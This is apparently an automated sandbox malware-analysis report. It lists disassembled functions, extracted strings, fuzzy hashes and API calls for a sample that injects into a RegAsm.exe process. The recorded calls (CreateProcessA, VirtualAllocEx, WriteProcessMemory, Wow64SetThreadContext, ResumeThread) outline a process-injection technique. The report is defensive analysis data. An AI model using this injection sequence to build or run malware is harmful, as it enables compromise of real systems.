Q, xrefs: 05DF594F
C, xrefs: 05DF2D64
Q, xrefs: 05DF1E9A
/, xrefs: 05DF4E69
a, xrefs: 05DF5663
W, xrefs: 05DF1234
`, xrefs: 05DF1E12
", xrefs: 05DF04E8
B, xrefs: 05DF1410
<, xrefs: 05DF277E
N, xrefs: 05DF56DF
b, xrefs: 05DF258A
a, xrefs: 05DF2FA8
N, xrefs: 05DF4349
Q, xrefs: 05DF44EB
L, xrefs: 05DF3C65
L, xrefs: 05DF2940
", xrefs: 05DF57D9
", xrefs: 05DF16DE
2, xrefs: 05DF39BB
8, xrefs: 05DF093A
L, xrefs: 05DF1546
!, xrefs: 05DF12E2
X, xrefs: 05DF2082
F, xrefs: 05DF486D
F, xrefs: 05DF0E38
/, xrefs: 05DF53F3
9, xrefs: 05DF4F95
Kn(B, xrefs: 05DF3E41
c, xrefs: 05DF38DF
G, xrefs: 05DF4911
N, xrefs: 05DF0964
Q, xrefs: 05DF45B9
3, xrefs: 05DF3F83
/, xrefs: 05DF27AE
7, xrefs: 05DF3F27
9, xrefs: 05DF54C1
R, xrefs: 05DF0DB4
Q, xrefs: 05DF31C6
7, xrefs: 05DF1808
*, xrefs: 05DF09F4
;, xrefs: 05DF42B3
R, xrefs: 05DF47E9
8, xrefs: 05DF1BF8
D, xrefs: 05DF156A
c, xrefs: 05DF2060
WNnA, xrefs: 05DF1404
8, xrefs: 05DF52A5
A, xrefs: 05DF18B8
W, xrefs: 05DF262E
D, xrefs: 05DF501F
!, xrefs: 05DF5AD3
5, xrefs: 05DF0D9C
9, xrefs: 05DF0338
dmB, xrefs: 05DF1AB4
9, xrefs: 05DF1918
9, xrefs: 05DF14E0
hkB, xrefs: 05DF5179
*, xrefs: 05DF1CD4
G, xrefs: 05DF0EDC
!, xrefs: 05DF201E
5, xrefs: 05DF34AC
/, xrefs: 05DF13B4
9, xrefs: 05DF2D12
ab^?, xrefs: 05DF0468
Kn(B, xrefs: 05DF51D7
-\TB, xrefs: 05DF3442
`, xrefs: 05DF58C7
J, xrefs: 05DF15A0
=, xrefs: 05DF420D
R, xrefs: 05DF2C76
*, xrefs: 05DF43F3
L, xrefs: 05DF4FFB
-\TB, xrefs: 05DF4767
.!%B, xrefs: 05DF2F2E
9, xrefs: 05DF412B
", xrefs: 05DF2AD8
N, xrefs: 05DF4095
B, xrefs: 05DF280A
+, xrefs: 05DF5529
c, xrefs: 05DF5BB1
", xrefs: 05DF5193
A, xrefs: 05DF3FD7
Y, xrefs: 05DF034C
V, xrefs: 05DF31AE
2, xrefs: 05DF056E
I, xrefs: 05DF2970
9, xrefs: 05DF1CAC
b, xrefs: 05DF1190
A, xrefs: 05DF0678
P, xrefs: 05DF53E7
Q, xrefs: 05DF3294
8, xrefs: 05DF3F0F
N, xrefs: 05DF071A
A, xrefs: 05DF5B5B
9, xrefs: 05DF28DA
B, xrefs: 05DF3B2F
.!%B, xrefs: 05DF1B34
c, xrefs: 05DF00CE
I, xrefs: 05DF3C95
c, xrefs: 05DF5B15
=, xrefs: 05DF1AEE
R, xrefs: 05DF5331
/, xrefs: 05DF0238
*, xrefs: 05DF30CE
dmB, xrefs: 05DF0828
9, xrefs: 05DF06CA
J, xrefs: 05DF5055
b, xrefs: 05DF38AF
`, xrefs: 05DF0B02
hkB, xrefs: 05DF04D2
W, xrefs: 05DF58AD
E, xrefs: 05DF2A34
#, xrefs: 05DF0AA8
5, xrefs: 05DF47D1
E^yB, xrefs: 05DF1FD8
c, xrefs: 05DF477F
9, xrefs: 05DF2E06
N, xrefs: 05DF3024
G, xrefs: 05DF21F2
dmB, xrefs: 05DF41D3
.!%B, xrefs: 05DF55E9
8, xrefs: 05DF17F0

Memory Dump Source

Source File: 00000000.00000002.1673841023.0000000005DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5df0000_gobEmOm5sr.jbxd

Similarity

API ID:
String ID: dmB$dmB$dmB$dmB$dmB$ $ $ $ $ $!$!$!$!$!$!$!$!$!$!$"$"$"$"$"$"$"$"$"$"$#$#$#$#$#$*$*$*$*$*$+$+$+$+$+$-\TB$-\TB$-\TB$-\TB$-\TB$.!%B$.!%B$.!%B$.!%B$.!%B$/$/$/$/$/$/$/$/$/$/$2$2$2$2$2$2$2$2$2$2$3$3$3$3$3$4$4$4$4$4$5$5$5$5$5$7$7$7$7$7$8$8$8$8$8$8$8$8$8$8$8$8$8$8$8$9$9$9$9$9$9$9$9$9$9$9$9$9$9$9$9$9$9$9$9$:$:$:$:$:$;$;$;$;$;$<$<$<$<$<$=$=$=$=$=$A$A$A$A$A$A$A$A$A$A$B$B$B$B$B$C$C$C$C$C$D$D$D$D$D$E$E$E$E$E$E^yB$E^yB$E^yB$E^yB$E^yB$F$F$F$F$F$G$G$G$G$G$I$I$I$I$I$I$I$I$I$I$J$J$J$J$J$Kn(B$Kn(B$Kn(B$Kn(B$Kn(B$L$L$L$L$L$N$N$N$N$N$N$N$N$N$N$N$N$N$N$N$P$P$P$P$P$Q$Q$Q$Q$Q$Q$Q$Q$Q$Q$R$R$R$R$R$R$R$R$R$R$V$V$V$V$V$W$W$W$W$W$W$W$W$W$W$WNnA$WNnA$WNnA$WNnA$WNnA$X$X$X$X$X$Y$Y$Y$Y$Y$`$`$`$`$`$a$a$a$a$a$ab^?$ab^?$ab^?$ab^?$ab^?$b$b$b$b$b$b$b$b$b$b$c$c$c$c$c$c$c$c$c$c$c$c$c$c$c$hkB$hkB$hkB$hkB$hkB
API String ID: 0-1835722386
Opcode ID: 9884f63695ad933c0c3fed6fa2842d4ec2e05a066e59bfc3b9fd605f460b9f36
Instruction ID: 8bb6fc038405377702e1aec3d0d517e2934acfc02d0f603e7da4ca2763f5e3a3
Opcode Fuzzy Hash: 9884f63695ad933c0c3fed6fa2842d4ec2e05a066e59bfc3b9fd605f460b9f36
Instruction Fuzzy Hash: 93A396B4D46669CBDB20CF25E944BEAFAB1EB56344F01B1E9D408B3640D7799EC48F08

Function 05DFE02C Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 335
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 05DFE2FF

Strings

bv"P, xrefs: 05DFE073
bv"P, xrefs: 05DFE0A2

Memory Dump Source

Source File: 00000000.00000002.1673841023.0000000005DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5df0000_gobEmOm5sr.jbxd

Similarity

API ID: CreateProcess
String ID: bv"P$bv"P
API String ID: 963392458-2479141027
Opcode ID: d233b61b813e65d52fe5d4ce38ed9138345c35e322a864f5799d7c231ba9f5b0
Instruction ID: ed03a73f5c471a3b76a08e5e8fc549625e894a6a981975085bdcad8cb2f0a627
Opcode Fuzzy Hash: d233b61b813e65d52fe5d4ce38ed9138345c35e322a864f5799d7c231ba9f5b0
Instruction Fuzzy Hash: D6C15470D002699FDB20CFA8C845BEDBBB5FF09300F0495AAD949B7260DB749A85CF95

Function 05DFE038 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 321
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 05DFE2FF

Strings

bv"P, xrefs: 05DFE073
bv"P, xrefs: 05DFE0A2

Memory Dump Source

Source File: 00000000.00000002.1673841023.0000000005DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5df0000_gobEmOm5sr.jbxd

Similarity

API ID: CreateProcess
String ID: bv"P$bv"P
API String ID: 963392458-2479141027
Opcode ID: 53d1e523f05e6b1c17d2164fbb2755d7497673f9253705c2adbc6d3c15307ef7
Instruction ID: 570f38585033747c2b8c820d1312e939616c112fe16e21e826f1034fbd104390
Opcode Fuzzy Hash: 53d1e523f05e6b1c17d2164fbb2755d7497673f9253705c2adbc6d3c15307ef7
Instruction Fuzzy Hash: F1C13370D0022D9FDB20CFA8C844BEEBBB5FB49304F0491AAD949B7250DB749A85CF95

Function 05DFDCA8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 117
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05DFDD83

Strings

bv"P, xrefs: 05DFDCD2

Memory Dump Source

Source File: 00000000.00000002.1673841023.0000000005DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5df0000_gobEmOm5sr.jbxd

Similarity

API ID: MemoryProcessWrite
String ID: bv"P
API String ID: 3559483778-751756194
Opcode ID: cc501b49790385063940f5e567f04db9ac9ccfa91dba7865926d872d98120ce4
Instruction ID: e4a885ad56fa235878323ca00ed5a4b65bd2dd5a5bafff1d362fc8c5ccce6f44
Opcode Fuzzy Hash: cc501b49790385063940f5e567f04db9ac9ccfa91dba7865926d872d98120ce4
Instruction Fuzzy Hash: B8419AB5D012589FCF00DFA9D984AEEFBF1BB49310F24942AE819B7210D734AA45CF54

Function 05DFDCB0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 116
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05DFDD83

Strings

bv"P, xrefs: 05DFDCD2

Memory Dump Source

Source File: 00000000.00000002.1673841023.0000000005DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5df0000_gobEmOm5sr.jbxd

Similarity

API ID: MemoryProcessWrite
String ID: bv"P
API String ID: 3559483778-751756194
Opcode ID: f278e9cab663557119fb5234ea5518c8e3b852f50ec7c5d9441f59720a055050
Instruction ID: 8ac9d519492427833936d1b64a4f23d7345930ef991d72721b2786b13bf841a4
Opcode Fuzzy Hash: f278e9cab663557119fb5234ea5518c8e3b852f50ec7c5d9441f59720a055050
Instruction Fuzzy Hash: 5941AAB5D012589FCF00DFA9D984AEEFBF1BB49310F24902AE819B7210D735AA45CF64

Function 05DFDE00 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05DFDEBA

Strings

bv"P, xrefs: 05DFDE2A

Memory Dump Source

Source File: 00000000.00000002.1673841023.0000000005DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5df0000_gobEmOm5sr.jbxd

Similarity

API ID: MemoryProcessRead
String ID: bv"P
API String ID: 1726664587-751756194
Opcode ID: b9ede9ed05bd685af41f9935c2922d670969e81723fd3733d244e04e1ad11eb6
Instruction ID: f85e670bcf2d992050067d44fd90247ac328691f3c6ab73fe3bdbf333c60329f
Opcode Fuzzy Hash: b9ede9ed05bd685af41f9935c2922d670969e81723fd3733d244e04e1ad11eb6
Instruction Fuzzy Hash: 204198B9D042589FCF10DFA9D980AEEFBB1BB09320F10942AE855B7250D735A945CF68

Function 05DFDE08 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05DFDEBA

Strings

bv"P, xrefs: 05DFDE2A

Memory Dump Source

Source File: 00000000.00000002.1673841023.0000000005DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5df0000_gobEmOm5sr.jbxd

Similarity

API ID: MemoryProcessRead
String ID: bv"P
API String ID: 1726664587-751756194
Opcode ID: 91e32b7125dc8bb9b4d5a543da36230346b9bcb68c54ff047c17e248f26643c6
Instruction ID: 4c824fe40afef5a698e00fa36e483192f6ce6754bfa4c225c07052c8245776e2
Opcode Fuzzy Hash: 91e32b7125dc8bb9b4d5a543da36230346b9bcb68c54ff047c17e248f26643c6
Instruction Fuzzy Hash: 8A41A8B5D04258DFCF10DFAAD980AEEFBB1BB49310F10902AE855B7210D735A945CF68

Function 05DFDB88 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 102
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 05DFDC3A

Strings

bv"P, xrefs: 05DFDBAA

Memory Dump Source

Source File: 00000000.00000002.1673841023.0000000005DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5df0000_gobEmOm5sr.jbxd

Similarity

API ID: AllocVirtual
String ID: bv"P
API String ID: 4275171209-751756194
Opcode ID: 42f363292e360522f205e6ebc6355768fbc444ba6899b7e35340ce7bd7969225
Instruction ID: a946833423549814766ab40adb76d7a3c41d892a8453baea7a83ec87b54a63e0
Opcode Fuzzy Hash: 42f363292e360522f205e6ebc6355768fbc444ba6899b7e35340ce7bd7969225
Instruction Fuzzy Hash: 263196B9D042589FCF10CFA9D980AEEFBB1BB09310F20942AE915B7310D735A946CF58

Function 05DFDB90 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 05DFDC3A

Strings

bv"P, xrefs: 05DFDBAA

Memory Dump Source

Source File: 00000000.00000002.1673841023.0000000005DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5df0000_gobEmOm5sr.jbxd

Similarity

API ID: AllocVirtual
String ID: bv"P
API String ID: 4275171209-751756194
Opcode ID: ecc3762ea5ac647c1183753a7f644ea6c118b94ba22f25ff78f8db4334157558
Instruction ID: 5f4f3468f5d6da1ad0695d6551358fa4e69483af3fcba015f7183f0fdd3ea085
Opcode Fuzzy Hash: ecc3762ea5ac647c1183753a7f644ea6c118b94ba22f25ff78f8db4334157558
Instruction Fuzzy Hash: EA3195B8D042589FCF10CFA9D980ADEFBB1BB49310F10902AE915B7310D775A946CF68

Function 05DFDA60 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 05DFDB17

Strings

bv"P, xrefs: 05DFDA87

Memory Dump Source

Source File: 00000000.00000002.1673841023.0000000005DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5df0000_gobEmOm5sr.jbxd

Similarity

API ID: ContextThreadWow64
String ID: bv"P
API String ID: 983334009-751756194
Opcode ID: 34041e0bea0baf22bce6e46da4de7d3a88d3821921c8aff970c53bd1a9b731a5
Instruction ID: aa761cd63b2d007c67b9aba382e362f5283f336e3ff58eaa7f2dfdc2717f750f
Opcode Fuzzy Hash: 34041e0bea0baf22bce6e46da4de7d3a88d3821921c8aff970c53bd1a9b731a5
Instruction Fuzzy Hash: 5441BAB5D052589FCB10DFAAD984AEEFBF1BF49314F24802AE419B7240D738A985CF54

Function 05DFDA68 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 05DFDB17

Strings

bv"P, xrefs: 05DFDA87

Memory Dump Source

Source File: 00000000.00000002.1673841023.0000000005DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5df0000_gobEmOm5sr.jbxd

Similarity

API ID: ContextThreadWow64
String ID: bv"P
API String ID: 983334009-751756194
Opcode ID: 18dee6cbe28d274aa90f918e12ec339a1b8e1d854a5dd4415899fcdaef9039e1
Instruction ID: acf40bed1c4a65a4164b7e790383b3b9448bdf81c8982793d92bd84375e7c297
Opcode Fuzzy Hash: 18dee6cbe28d274aa90f918e12ec339a1b8e1d854a5dd4415899fcdaef9039e1
Instruction Fuzzy Hash: 1E31BAB4D012589FCB10DFAAD984AEEFBF1BB49314F24802AE419B7240C738A985CF54

Function 05DFD970 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 74threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 05DFD9F6

Strings

bv"P, xrefs: 05DFD992

Memory Dump Source

Source File: 00000000.00000002.1673841023.0000000005DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5df0000_gobEmOm5sr.jbxd

Similarity

API ID: ResumeThread
String ID: bv"P
API String ID: 947044025-751756194
Opcode ID: 74bf7dffc80c6808ac1fc1267afd90b3d60b8ee9587f4d20c97e65be9364d879
Instruction ID: 1c322ff4d68b36a4aba2b39ffeb923427913f1588b904500f190e1421e2593b5
Opcode Fuzzy Hash: 74bf7dffc80c6808ac1fc1267afd90b3d60b8ee9587f4d20c97e65be9364d879
Instruction Fuzzy Hash: 8B31E9B4D002189FCB14CFA9D985AAEFBB1BB48310F24802AE815B7310C734A941CF68

Function 05DFD978 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 73threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 05DFD9F6

Strings

bv"P, xrefs: 05DFD992

Memory Dump Source

Source File: 00000000.00000002.1673841023.0000000005DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5df0000_gobEmOm5sr.jbxd

Similarity

API ID: ResumeThread
String ID: bv"P
API String ID: 947044025-751756194
Opcode ID: 1e903abfec3555c150887e65851b165690aeea20ccb90d3f92f0dad15f1866ed
Instruction ID: d76f2224c0e144a5c753075234dcc3790830f4eb25954edee44f1037339cd9d1
Opcode Fuzzy Hash: 1e903abfec3555c150887e65851b165690aeea20ccb90d3f92f0dad15f1866ed
Instruction Fuzzy Hash: AE31CAB4D052589FCB14DFA9D984ADEFBB5BB49310F14902AE815B7310C735A941CFA8

Non-executed Functions

Function 05DFA08C Relevance: 3.9, Strings: 3, Instructions: 159COMMON

Download Yara Rule

Strings

X$c{, xrefs: 05DFA275
UUUU, xrefs: 05DFA191
UUUU, xrefs: 05DFA0C7

Memory Dump Source

Source File: 00000000.00000002.1673841023.0000000005DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5df0000_gobEmOm5sr.jbxd

Similarity

API ID:
String ID: UUUU$UUUU$X$c{
API String ID: 0-153604399
Opcode ID: 25f94959a76ee7109765d1f81e5d0359ff7b7e567e1cc849f01fe4c72e25babc
Instruction ID: 1bbda0d11c18630f2e0dd18f1cb83fa2c1aec52e0188ef7145f0db32d6ed6d2e
Opcode Fuzzy Hash: 25f94959a76ee7109765d1f81e5d0359ff7b7e567e1cc849f01fe4c72e25babc
Instruction Fuzzy Hash: B2818171E102289FDB64CFA9D981B9DFBF2BF89300F1481AAE54CE7255D7349A858F01

Function 05DF6E80 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1673841023.0000000005DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5df0000_gobEmOm5sr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52daca2923545b346b81889962a422f42f8bb14e4c67fe2956859fd150fa3b51
Instruction ID: d29395147654bc7cd393b20485d409c4bdbdd6e2f68e14f6aaabcd4b4e80bdaa
Opcode Fuzzy Hash: 52daca2923545b346b81889962a422f42f8bb14e4c67fe2956859fd150fa3b51
Instruction Fuzzy Hash: C5510470A222099FDB54DFAAE89469EBFF2BF84304F14D569E0049B368EB749845CF40

Function 05DF6E73 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1673841023.0000000005DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5df0000_gobEmOm5sr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a11630aaae300302b12ef96e2721ca3168afbc5275c22da1c8efd8f19394aeb1
Instruction ID: dbcf13239f0f8670e943b2fd0915f26759e084fe550983b43e8ec190c4461369
Opcode Fuzzy Hash: a11630aaae300302b12ef96e2721ca3168afbc5275c22da1c8efd8f19394aeb1
Instruction Fuzzy Hash: 2351F670A222099FDB54DFA9E89569EBFF2BF84304F14D569E0049F368EB749845CF40

Analysis Process: RegAsm.exePID: 7536, Parent PID: 7500COMMON

Execution Graph

Execution Coverage:	15.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	157

Executed Functions

Function 00451300 Relevance: 44.5, APIs: 2, Strings: 22, Instructions: 2466COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00451418
__aulldiv.LIBCMT ref: 0045228D

Strings

:, xrefs: 004538B3
:, xrefs: 004530BE
:, xrefs: 00452F9B
:, xrefs: 00452B0F
:, xrefs: 00453790
:, xrefs: 0045366D
%, xrefs: 004522F9
:, xrefs: 00452C32
:::, xrefs: 0045353B
:, xrefs: 00453427
:, xrefs: 00452D55
:, xrefs: 004528C9
:, xrefs: 004527A6
:, xrefs: 004539D6
:, xrefs: 00452683
:, xrefs: 00453AF9
F, xrefs: 0045133E
:, xrefs: 004529EC
:, xrefs: 004531E1
:, xrefs: 00453C1C
:, xrefs: 00453304
:, xrefs: 00452E78

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: %$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:::$F
API String ID: 3732870572-3506045843
Opcode ID: c79d7c1ba4697943cd9835d36b6e1683f57c67665d0017481d2199ce3e3a00e6
Instruction ID: 5905f41d2adb3526d95f358183e42a5573ccab8c25035b1c7de84a5765092963
Opcode Fuzzy Hash: c79d7c1ba4697943cd9835d36b6e1683f57c67665d0017481d2199ce3e3a00e6
Instruction Fuzzy Hash: B44338709042688BCB25DF25CC91BEEB7B5AF45309F0441DED54AAB242DB386F88CF59

Function 004CF160 Relevance: 42.6, APIs: 6, Strings: 17, Instructions: 2340sleepprocessCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 004CF383

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 004CF4BD
GetBinaryType.KERNEL32(?,FFFFFFFF,?), ref: 004D0500
Sleep.KERNEL32(000000C8), ref: 004D06FD
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,00000000,?,?,00000000,00000000,?), ref: 004D0BE9
__aulldiv.LIBCMT ref: 004D1557

Strings

rzz,, xrefs: 004D115E
R="7<, xrefs: 004D1684
U, xrefs: 004CFA69
a, xrefs: 004D0F24
jHF, xrefs: 004D12FD
D, xrefs: 004D0148
s, xrefs: 004D0E66
&, xrefs: 004D0522
Oa*7*, xrefs: 004D0780
D, xrefs: 004D0A17
], xrefs: 004D0E6A
^, xrefs: 004CFE55
J, xrefs: 004D0532
C, xrefs: 004D0F20
J, xrefs: 004D052E
B, xrefs: 004D052A
p, xrefs: 004CFE51

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$BinaryCreateProcessSleepType
String ID: &$B$C$D$D$J$J$Oa*7*$R="7<$U$]$^$a$jHF$p$rzz,$s
API String ID: 1549270959-2376841863
Opcode ID: 2585758a23226d46639f3166bced8240637be7aaab08489bb95b8a750a4aaed3
Instruction ID: bd1caa56c3ea751373c6a1f3c7fda9e7eae007f2256cd6336695c0d81bf49162
Opcode Fuzzy Hash: 2585758a23226d46639f3166bced8240637be7aaab08489bb95b8a750a4aaed3
Instruction Fuzzy Hash: E34324B09042688FDB25CB64CC94BEEBBB1BF49304F0481EAD54967381DB786E89CF55

Function 00437680 Relevance: 41.8, APIs: 2, Strings: 20, Instructions: 3321COMMON

Download Yara Rule

Strings

ii, xrefs: 0043AA8E
/, xrefs: 0043B33E
Y=8-8, xrefs: 004388CD
x, xrefs: 00438EA3
9]XMX, xrefs: 004384B4
z, xrefs: 0043A8AA
U<%, xrefs: 00437CA1
y, xrefs: 0043A97C
R63&3, xrefs: 00438D57
Z4;7?, xrefs: 00438A73
t, xrefs: 004392C5
U<%, xrefs: 00437BC8
!E@U@, xrefs: 00438B81
c, xrefs: 0043A8AE
x, xrefs: 00438358
@, xrefs: 0043B9A4
8\YLY, xrefs: 0043868A
y, xrefs: 0043A980
D %0%, xrefs: 00439179
a, xrefs: 0043A7CD

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: ii$!E@U@$/$8\YLY$9]XMX$@$D %0%$R63&3$U<%$U<%$Y=8-8$Z4;7?$a$c$t$x$x$y$y$z
API String ID: 0-1055176542
Opcode ID: 5ab060b40b11bcf41e93c6d9284c8c14ffe1881ed00e227bf6879a4e02d30183
Instruction ID: fea99b8a72455c43b20efeb6998babb19f9a8269c71fe064cf8c269582dbf4a1
Opcode Fuzzy Hash: 5ab060b40b11bcf41e93c6d9284c8c14ffe1881ed00e227bf6879a4e02d30183
Instruction Fuzzy Hash: 368303709092A88FDB25CB28CC94BEEBBB1AF49304F0481DAD54D67242CB796F85CF55

Function 004348B0 Relevance: 24.2, APIs: 3, Strings: 10, Instructions: 1456COMMON

Download Yara Rule

APIs

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 00435360
__aulldiv.LIBCMT ref: 004356B8
__aulldiv.LIBCMT ref: 00435A14

Strings

k, xrefs: 00435107
+ONGJR, xrefs: 00435DBA
/, xrefs: 00434A66
P, xrefs: 004349E3
=\OZN, xrefs: 004357F0
S, xrefs: 00434A6A
,, xrefs: 004349DF
kfoz, xrefs: 00435B28
lku, xrefs: 0043548B
f, xrefs: 00435103

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: +ONGJR$,$/$=\OZN$P$S$f$k$kfoz$lku
API String ID: 3732870572-656884431
Opcode ID: 2610b397f256763f352727126784f9ffc81ae76a6b534a87bfd36737764d3adc
Instruction ID: c3164b18e73dfed1d5027f0166cf8289f44122d286b5e0d939a21ea5c169586f
Opcode Fuzzy Hash: 2610b397f256763f352727126784f9ffc81ae76a6b534a87bfd36737764d3adc
Instruction Fuzzy Hash: 95E259B0D042688FDB24DB64CC95BEEBBB5BF89304F0481EAE50967241DB386E85CF55

Function 00431360 Relevance: 22.2, APIs: 10, Strings: 2, Instructions: 1186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__aulldiv.LIBCMT ref: 004314AA
__aulldiv.LIBCMT ref: 004317B9

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__fread_nolock.LIBCMT ref: 0043185F
__aulldiv.LIBCMT ref: 004318CB

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 00431A05
__aulldiv.LIBCMT ref: 00431B3A
__aulldiv.LIBCMT ref: 00431CFA
__fread_nolock.LIBCMT ref: 00431D51

Strings

z, xrefs: 004315BE
j, xrefs: 004315C2

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$__fread_nolock
String ID: j$z
API String ID: 3493607940-4214877792
Opcode ID: 62ea34bc2aef4db1f708dd62b02d7b88ae75460fdb00837248a93dde16fd851d
Instruction ID: 04067cf01bf4830e75a96b80b27c0a4e747be80779cd42e5ff4ca72d12c04771
Opcode Fuzzy Hash: 62ea34bc2aef4db1f708dd62b02d7b88ae75460fdb00837248a93dde16fd851d
Instruction Fuzzy Hash: 5DB26FB1D002189FDB24DF64CC91BEEBBB5BB88304F1481AAE509A7391DB385E85CF55

Function 004302C0 Relevance: 20.4, APIs: 10, Strings: 1, Instructions: 1186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed
